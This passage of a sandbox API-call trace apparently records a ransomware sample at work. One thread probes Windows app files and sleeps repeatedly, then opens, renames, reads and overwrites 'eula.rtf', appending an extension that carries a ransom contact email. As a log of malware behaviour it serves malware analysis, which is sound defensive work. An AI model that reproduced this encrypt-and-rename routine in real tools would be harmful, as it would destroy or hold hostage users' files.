Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_contrast-white.png") returned 1 [0273.268] GetProcessHeap () returned 0x630000 [0273.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df0) returned 0x6fe3bb0 [0273.268] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-64_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.270] Sleep (dwMilliseconds=0x1) [0273.278] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_contrast-black.png", len=0x86 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_contrast-black.png") returned 1 [0273.278] GetProcessHeap () returned 0x630000 [0273.278] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dec) returned 0x6fe3bb0 [0273.278] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-64_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.281] Sleep (dwMilliseconds=0x1) [0273.295] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64.png", len=0x77 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64.png") returned 1 [0273.295] GetProcessHeap () returned 0x630000 [0273.295] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ddc) returned 0x6fe3bb0 [0273.295] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-64.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.299] Sleep (dwMilliseconds=0x1) [0273.316] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_contrast-white.png", len=0x86 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_contrast-white.png") returned 1 [0273.316] GetProcessHeap () returned 0x630000 [0273.316] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc0) returned 0x6fe3bb0 [0273.316] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-48_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.320] Sleep (dwMilliseconds=0x1) [0273.325] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated_contrast-white.png") returned 1 [0273.325] GetProcessHeap () returned 0x630000 [0273.326] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db8) returned 0x6fe3bb0 [0273.326] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-48_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.327] Sleep (dwMilliseconds=0x1) [0275.318] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-150.png", len=0x8f | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-150.png") returned 1 [0275.318] GetProcessHeap () returned 0x630000 [0275.319] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b30) returned 0x6fe3bb0 [0275.319] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim1.sad.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.320] Sleep (dwMilliseconds=0x1) Thread: id = 73 os_tid = 0x129c [0067.527] Sleep (dwMilliseconds=0x1) [0067.539] Sleep (dwMilliseconds=0x1) [0067.553] Sleep (dwMilliseconds=0x1) [0067.656] Sleep (dwMilliseconds=0x1) [0067.662] Sleep (dwMilliseconds=0x1) [0067.679] Sleep (dwMilliseconds=0x1) [0067.693] Sleep (dwMilliseconds=0x1) [0067.710] Sleep (dwMilliseconds=0x1) [0067.725] Sleep (dwMilliseconds=0x1) [0067.741] Sleep (dwMilliseconds=0x1) [0067.763] Sleep (dwMilliseconds=0x1) [0067.773] Sleep (dwMilliseconds=0x1) [0067.789] Sleep (dwMilliseconds=0x1) [0067.932] Sleep (dwMilliseconds=0x1) [0068.037] Sleep (dwMilliseconds=0x1) [0068.153] Sleep (dwMilliseconds=0x1) [0068.277] Sleep (dwMilliseconds=0x1) [0068.401] Sleep (dwMilliseconds=0x1) [0068.493] Sleep (dwMilliseconds=0x1) [0068.545] Sleep (dwMilliseconds=0x1) [0068.698] Sleep (dwMilliseconds=0x1) [0068.746] Sleep (dwMilliseconds=0x1) [0068.793] Sleep (dwMilliseconds=0x1) [0068.842] Sleep (dwMilliseconds=0x1) [0068.884] Sleep (dwMilliseconds=0x1) [0068.934] Sleep (dwMilliseconds=0x1) [0068.976] Sleep (dwMilliseconds=0x1) [0069.047] Sleep (dwMilliseconds=0x1) [0069.105] Sleep (dwMilliseconds=0x1) [0069.158] Sleep (dwMilliseconds=0x1) [0069.198] Sleep (dwMilliseconds=0x1) [0069.248] Sleep (dwMilliseconds=0x1) [0069.293] Sleep (dwMilliseconds=0x1) [0069.377] Sleep (dwMilliseconds=0x1) [0069.435] Sleep (dwMilliseconds=0x1) [0069.482] Sleep (dwMilliseconds=0x1) [0069.523] Sleep (dwMilliseconds=0x1) [0069.688] Sleep (dwMilliseconds=0x1) [0069.920] Sleep (dwMilliseconds=0x1) [0070.146] Sleep (dwMilliseconds=0x1) [0070.263] Sleep (dwMilliseconds=0x1) [0070.381] Sleep (dwMilliseconds=0x1) [0070.535] Sleep (dwMilliseconds=0x1) [0070.868] Sleep (dwMilliseconds=0x1) [0071.570] Sleep (dwMilliseconds=0x1) [0071.941] Sleep (dwMilliseconds=0x1) [0072.410] Sleep (dwMilliseconds=0x1) [0072.603] Sleep (dwMilliseconds=0x1) [0072.804] Sleep (dwMilliseconds=0x1) [0072.943] Sleep (dwMilliseconds=0x1) [0073.103] Sleep (dwMilliseconds=0x1) [0073.535] Sleep (dwMilliseconds=0x1) [0073.724] Sleep (dwMilliseconds=0x1) [0073.932] Sleep (dwMilliseconds=0x1) [0074.047] Sleep (dwMilliseconds=0x1) [0074.177] Sleep (dwMilliseconds=0x1) [0074.384] Sleep (dwMilliseconds=0x1) [0074.668] Sleep (dwMilliseconds=0x1) [0074.775] Sleep (dwMilliseconds=0x1) [0074.845] Sleep (dwMilliseconds=0x1) [0074.905] Sleep (dwMilliseconds=0x1) [0075.000] Sleep (dwMilliseconds=0x1) [0075.060] Sleep (dwMilliseconds=0x1) [0075.106] Sleep (dwMilliseconds=0x1) [0075.157] Sleep (dwMilliseconds=0x1) [0075.216] Sleep (dwMilliseconds=0x1) [0075.264] Sleep (dwMilliseconds=0x1) [0075.304] Sleep (dwMilliseconds=0x1) [0075.362] Sleep (dwMilliseconds=0x1) [0075.427] Sleep (dwMilliseconds=0x1) [0075.513] Sleep (dwMilliseconds=0x1) [0075.568] Sleep (dwMilliseconds=0x1) [0075.612] Sleep (dwMilliseconds=0x1) [0075.699] Sleep (dwMilliseconds=0x1) [0075.744] Sleep (dwMilliseconds=0x1) [0075.793] Sleep (dwMilliseconds=0x1) [0075.830] Sleep (dwMilliseconds=0x1) [0075.843] Sleep (dwMilliseconds=0x1) [0076.043] Sleep (dwMilliseconds=0x1) [0076.064] Sleep (dwMilliseconds=0x1) [0076.081] Sleep (dwMilliseconds=0x1) [0076.108] Sleep (dwMilliseconds=0x1) [0076.185] Sleep (dwMilliseconds=0x1) [0076.393] Sleep (dwMilliseconds=0x1) [0076.529] Sleep (dwMilliseconds=0x1) [0076.673] Sleep (dwMilliseconds=0x1) [0076.709] Sleep (dwMilliseconds=0x1) [0076.779] Sleep (dwMilliseconds=0x1) [0076.800] Sleep (dwMilliseconds=0x1) [0076.847] Sleep (dwMilliseconds=0x1) [0076.873] Sleep (dwMilliseconds=0x1) [0076.918] Sleep (dwMilliseconds=0x1) [0076.987] Sleep (dwMilliseconds=0x1) [0077.073] Sleep (dwMilliseconds=0x1) [0077.151] Sleep (dwMilliseconds=0x1) [0077.219] Sleep (dwMilliseconds=0x1) [0077.291] Sleep (dwMilliseconds=0x1) [0077.357] Sleep (dwMilliseconds=0x1) [0077.415] Sleep (dwMilliseconds=0x1) [0077.518] Sleep (dwMilliseconds=0x1) [0077.600] Sleep (dwMilliseconds=0x1) [0077.646] Sleep (dwMilliseconds=0x1) [0077.691] Sleep (dwMilliseconds=0x1) [0077.734] Sleep (dwMilliseconds=0x1) [0077.785] Sleep (dwMilliseconds=0x1) [0077.830] Sleep (dwMilliseconds=0x1) [0077.859] Sleep (dwMilliseconds=0x1) [0077.909] Sleep (dwMilliseconds=0x1) [0077.961] Sleep (dwMilliseconds=0x1) [0077.979] Sleep (dwMilliseconds=0x1) [0077.997] Sleep (dwMilliseconds=0x1) [0078.088] Sleep (dwMilliseconds=0x1) [0078.115] Sleep (dwMilliseconds=0x1) [0078.136] Sleep (dwMilliseconds=0x1) [0078.190] Sleep (dwMilliseconds=0x1) [0078.226] Sleep (dwMilliseconds=0x1) [0078.236] Sleep (dwMilliseconds=0x1) [0078.255] Sleep (dwMilliseconds=0x1) [0078.269] Sleep (dwMilliseconds=0x1) [0078.288] Sleep (dwMilliseconds=0x1) [0078.311] Sleep (dwMilliseconds=0x1) [0078.362] Sleep (dwMilliseconds=0x1) [0078.377] Sleep (dwMilliseconds=0x1) [0078.515] Sleep (dwMilliseconds=0x1) [0078.534] Sleep (dwMilliseconds=0x1) [0078.562] Sleep (dwMilliseconds=0x1) [0078.612] Sleep (dwMilliseconds=0x1) [0078.624] Sleep (dwMilliseconds=0x1) [0078.648] Sleep (dwMilliseconds=0x1) [0078.657] Sleep (dwMilliseconds=0x1) [0078.678] Sleep (dwMilliseconds=0x1) [0078.708] Sleep (dwMilliseconds=0x1) [0078.720] Sleep (dwMilliseconds=0x1) [0078.739] Sleep (dwMilliseconds=0x1) [0078.753] Sleep (dwMilliseconds=0x1) [0078.770] Sleep (dwMilliseconds=0x1) [0078.785] Sleep (dwMilliseconds=0x1) [0078.838] Sleep (dwMilliseconds=0x1) [0078.885] Sleep (dwMilliseconds=0x1) [0078.895] Sleep (dwMilliseconds=0x1) [0078.927] Sleep (dwMilliseconds=0x1) [0078.946] Sleep (dwMilliseconds=0x1) [0078.956] Sleep (dwMilliseconds=0x1) [0078.979] Sleep (dwMilliseconds=0x1) [0079.002] Sleep (dwMilliseconds=0x1) [0079.032] Sleep (dwMilliseconds=0x1) [0079.049] Sleep (dwMilliseconds=0x1) [0079.080] Sleep (dwMilliseconds=0x1) [0079.098] Sleep (dwMilliseconds=0x1) [0079.117] Sleep (dwMilliseconds=0x1) [0079.129] Sleep (dwMilliseconds=0x1) [0079.160] Sleep (dwMilliseconds=0x1) [0079.224] Sleep (dwMilliseconds=0x1) [0079.251] Sleep (dwMilliseconds=0x1) [0079.269] Sleep (dwMilliseconds=0x1) [0079.287] Sleep (dwMilliseconds=0x1) [0079.300] Sleep (dwMilliseconds=0x1) [0079.315] Sleep (dwMilliseconds=0x1) [0079.330] Sleep (dwMilliseconds=0x1) [0079.348] Sleep (dwMilliseconds=0x1) [0079.361] Sleep (dwMilliseconds=0x1) [0079.388] Sleep (dwMilliseconds=0x1) [0079.418] Sleep (dwMilliseconds=0x1) [0079.450] Sleep (dwMilliseconds=0x1) [0079.521] Sleep (dwMilliseconds=0x1) [0079.536] Sleep (dwMilliseconds=0x1) [0079.550] Sleep (dwMilliseconds=0x1) [0079.597] Sleep (dwMilliseconds=0x1) [0079.615] Sleep (dwMilliseconds=0x1) [0079.625] Sleep (dwMilliseconds=0x1) [0079.646] Sleep (dwMilliseconds=0x1) [0079.657] Sleep (dwMilliseconds=0x1) [0079.679] Sleep (dwMilliseconds=0x1) [0079.692] Sleep (dwMilliseconds=0x1) [0079.736] Sleep (dwMilliseconds=0x1) [0079.803] Sleep (dwMilliseconds=0x1) [0079.813] Sleep (dwMilliseconds=0x1) [0079.833] Sleep (dwMilliseconds=0x1) [0079.887] Sleep (dwMilliseconds=0x1) [0079.918] Sleep (dwMilliseconds=0x1) [0079.942] Sleep (dwMilliseconds=0x1) [0079.982] Sleep (dwMilliseconds=0x1) [0080.052] Sleep (dwMilliseconds=0x1) [0080.067] Sleep (dwMilliseconds=0x1) [0080.088] Sleep (dwMilliseconds=0x1) [0080.096] Sleep (dwMilliseconds=0x1) [0080.140] Sleep (dwMilliseconds=0x1) [0080.157] Sleep (dwMilliseconds=0x1) [0080.177] Sleep (dwMilliseconds=0x1) [0080.240] Sleep (dwMilliseconds=0x1) [0080.258] Sleep (dwMilliseconds=0x1) [0080.271] Sleep (dwMilliseconds=0x1) [0080.283] Sleep (dwMilliseconds=0x1) [0080.304] Sleep (dwMilliseconds=0x1) [0080.313] Sleep (dwMilliseconds=0x1) [0080.345] Sleep (dwMilliseconds=0x1) [0080.359] Sleep (dwMilliseconds=0x1) [0080.387] Sleep (dwMilliseconds=0x1) [0080.390] Sleep (dwMilliseconds=0x1) [0080.412] Sleep (dwMilliseconds=0x1) [0080.424] Sleep (dwMilliseconds=0x1) [0080.444] Sleep (dwMilliseconds=0x1) [0080.500] Sleep (dwMilliseconds=0x1) [0080.529] Sleep (dwMilliseconds=0x1) [0080.552] Sleep (dwMilliseconds=0x1) [0080.563] Sleep (dwMilliseconds=0x1) [0080.586] Sleep (dwMilliseconds=0x1) [0080.601] Sleep (dwMilliseconds=0x1) [0080.618] Sleep (dwMilliseconds=0x1) [0080.656] Sleep (dwMilliseconds=0x1) [0080.677] Sleep (dwMilliseconds=0x1) [0080.706] Sleep (dwMilliseconds=0x1) [0080.720] Sleep (dwMilliseconds=0x1) [0080.768] Sleep (dwMilliseconds=0x1) [0080.785] Sleep (dwMilliseconds=0x1) [0080.807] Sleep (dwMilliseconds=0x1) [0080.817] Sleep (dwMilliseconds=0x1) [0080.838] Sleep (dwMilliseconds=0x1) [0080.845] Sleep (dwMilliseconds=0x1) [0080.891] Sleep (dwMilliseconds=0x1) [0080.916] Sleep (dwMilliseconds=0x1) [0080.924] Sleep (dwMilliseconds=0x1) [0080.940] Sleep (dwMilliseconds=0x1) [0080.959] Sleep (dwMilliseconds=0x1) [0080.976] Sleep (dwMilliseconds=0x1) [0080.991] Sleep (dwMilliseconds=0x1) [0081.002] Sleep (dwMilliseconds=0x1) [0081.028] Sleep (dwMilliseconds=0x1) [0081.053] Sleep (dwMilliseconds=0x1) [0081.282] Sleep (dwMilliseconds=0x1) [0081.436] Sleep (dwMilliseconds=0x1) [0081.527] Sleep (dwMilliseconds=0x1) [0081.541] Sleep (dwMilliseconds=0x1) [0081.559] Sleep (dwMilliseconds=0x1) [0081.584] Sleep (dwMilliseconds=0x1) [0081.597] Sleep (dwMilliseconds=0x1) [0081.615] Sleep (dwMilliseconds=0x1) [0081.626] Sleep (dwMilliseconds=0x1) [0081.667] Sleep (dwMilliseconds=0x1) [0081.680] Sleep (dwMilliseconds=0x1) [0081.694] Sleep (dwMilliseconds=0x1) [0081.707] Sleep (dwMilliseconds=0x1) [0081.760] Sleep (dwMilliseconds=0x1) [0081.773] Sleep (dwMilliseconds=0x1) [0081.792] Sleep (dwMilliseconds=0x1) [0081.830] Sleep (dwMilliseconds=0x1) [0081.851] Sleep (dwMilliseconds=0x1) [0081.883] Sleep (dwMilliseconds=0x1) [0081.895] Sleep (dwMilliseconds=0x1) [0081.908] Sleep (dwMilliseconds=0x1) [0081.929] Sleep (dwMilliseconds=0x1) [0081.940] Sleep (dwMilliseconds=0x1) [0081.969] Sleep (dwMilliseconds=0x1) [0081.985] Sleep (dwMilliseconds=0x1) [0082.005] Sleep (dwMilliseconds=0x1) [0082.034] Sleep (dwMilliseconds=0x1) [0082.052] Sleep (dwMilliseconds=0x1) [0082.066] Sleep (dwMilliseconds=0x1) [0082.114] Sleep (dwMilliseconds=0x1) [0082.130] Sleep (dwMilliseconds=0x1) [0082.154] Sleep (dwMilliseconds=0x1) [0082.197] Sleep (dwMilliseconds=0x1) [0082.212] Sleep (dwMilliseconds=0x1) [0082.235] Sleep (dwMilliseconds=0x1) [0082.257] Sleep (dwMilliseconds=0x1) [0082.279] Sleep (dwMilliseconds=0x1) [0082.292] Sleep (dwMilliseconds=0x1) [0082.311] Sleep (dwMilliseconds=0x1) [0082.368] Sleep (dwMilliseconds=0x1) [0082.420] Sleep (dwMilliseconds=0x1) [0082.538] Sleep (dwMilliseconds=0x1) [0082.591] Sleep (dwMilliseconds=0x1) [0082.634] Sleep (dwMilliseconds=0x1) [0082.687] Sleep (dwMilliseconds=0x1) [0082.726] Sleep (dwMilliseconds=0x1) [0082.778] Sleep (dwMilliseconds=0x1) [0082.819] Sleep (dwMilliseconds=0x1) [0082.872] Sleep (dwMilliseconds=0x1) [0082.914] Sleep (dwMilliseconds=0x1) [0082.970] Sleep (dwMilliseconds=0x1) [0083.013] Sleep (dwMilliseconds=0x1) [0083.057] Sleep (dwMilliseconds=0x1) [0083.101] Sleep (dwMilliseconds=0x1) [0083.153] Sleep (dwMilliseconds=0x1) [0083.198] Sleep (dwMilliseconds=0x1) [0083.245] Sleep (dwMilliseconds=0x1) [0083.291] Sleep (dwMilliseconds=0x1) [0083.340] Sleep (dwMilliseconds=0x1) [0083.383] Sleep (dwMilliseconds=0x1) [0083.438] Sleep (dwMilliseconds=0x1) [0083.701] Sleep (dwMilliseconds=0x1) [0083.753] Sleep (dwMilliseconds=0x1) [0083.800] Sleep (dwMilliseconds=0x1) [0083.915] Sleep (dwMilliseconds=0x1) [0084.010] Sleep (dwMilliseconds=0x1) [0084.095] Sleep (dwMilliseconds=0x1) [0084.200] Sleep (dwMilliseconds=0x1) [0084.345] Sleep (dwMilliseconds=0x1) [0084.735] Sleep (dwMilliseconds=0x1) [0084.813] Sleep (dwMilliseconds=0x1) [0084.875] Sleep (dwMilliseconds=0x1) [0084.963] Sleep (dwMilliseconds=0x1) [0085.049] Sleep (dwMilliseconds=0x1) [0085.121] Sleep (dwMilliseconds=0x1) [0085.182] Sleep (dwMilliseconds=0x1) [0085.348] Sleep (dwMilliseconds=0x1) [0085.388] Sleep (dwMilliseconds=0x1) [0085.737] Sleep (dwMilliseconds=0x1) [0085.830] Sleep (dwMilliseconds=0x1) [0085.965] Sleep (dwMilliseconds=0x1) [0086.081] Sleep (dwMilliseconds=0x1) [0086.188] Sleep (dwMilliseconds=0x1) [0086.235] Sleep (dwMilliseconds=0x1) [0086.295] Sleep (dwMilliseconds=0x1) [0086.351] Sleep (dwMilliseconds=0x1) [0086.589] Sleep (dwMilliseconds=0x1) [0086.896] Sleep (dwMilliseconds=0x1) [0087.092] Sleep (dwMilliseconds=0x1) [0087.470] Sleep (dwMilliseconds=0x1) [0088.484] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1040\\eula.rtf", len=0x23 | out: pbstr=0x5d7ff7c*="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 1 [0088.484] GetProcessHeap () returned 0x630000 [0088.484] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9120, Size=0x18) returned 0x6b01f8 [0088.484] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0088.484] CloseHandle (hObject=0x6a0) returned 1 [0088.484] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.484] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.485] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.485] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5000 [0088.485] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0088.485] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0088.485] GetProcessHeap () returned 0x630000 [0088.485] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe41) returned 0x6f1ee8 [0088.485] GetProcessHeap () returned 0x630000 [0088.485] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe41) returned 0x6fa8600 [0088.485] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.485] ReadFile (in: hFile=0x6a0, lpBuffer=0x6f1ee8, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1ee8*, lpNumberOfBytesRead=0x5d7ff0c*=0xe20, lpOverlapped=0x0) returned 1 [0088.570] GetProcessHeap () returned 0x630000 [0088.570] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0088.570] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.570] WriteFile (in: hFile=0x6a0, lpBuffer=0x6fa8600*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa8600*, lpNumberOfBytesWritten=0x5d7ff0c*=0xe20, lpOverlapped=0x0) returned 1 [0088.570] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.570] WriteFile (in: hFile=0x6a0, lpBuffer=0x6fa941f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa941f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0088.570] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.570] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0088.570] CloseHandle (hObject=0x6a0) returned 1 [0088.571] GetProcessHeap () returned 0x630000 [0088.572] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa8600 | out: hHeap=0x630000) returned 1 [0088.572] GetProcessHeap () returned 0x630000 [0088.572] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1ee8 | out: hHeap=0x630000) returned 1 [0088.572] GetProcessHeap () returned 0x630000 [0088.572] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0088.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.572] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfabc8a44, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xe5f, dwReserved0=0xaf87496, dwReserved1=0x6f1ee0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", 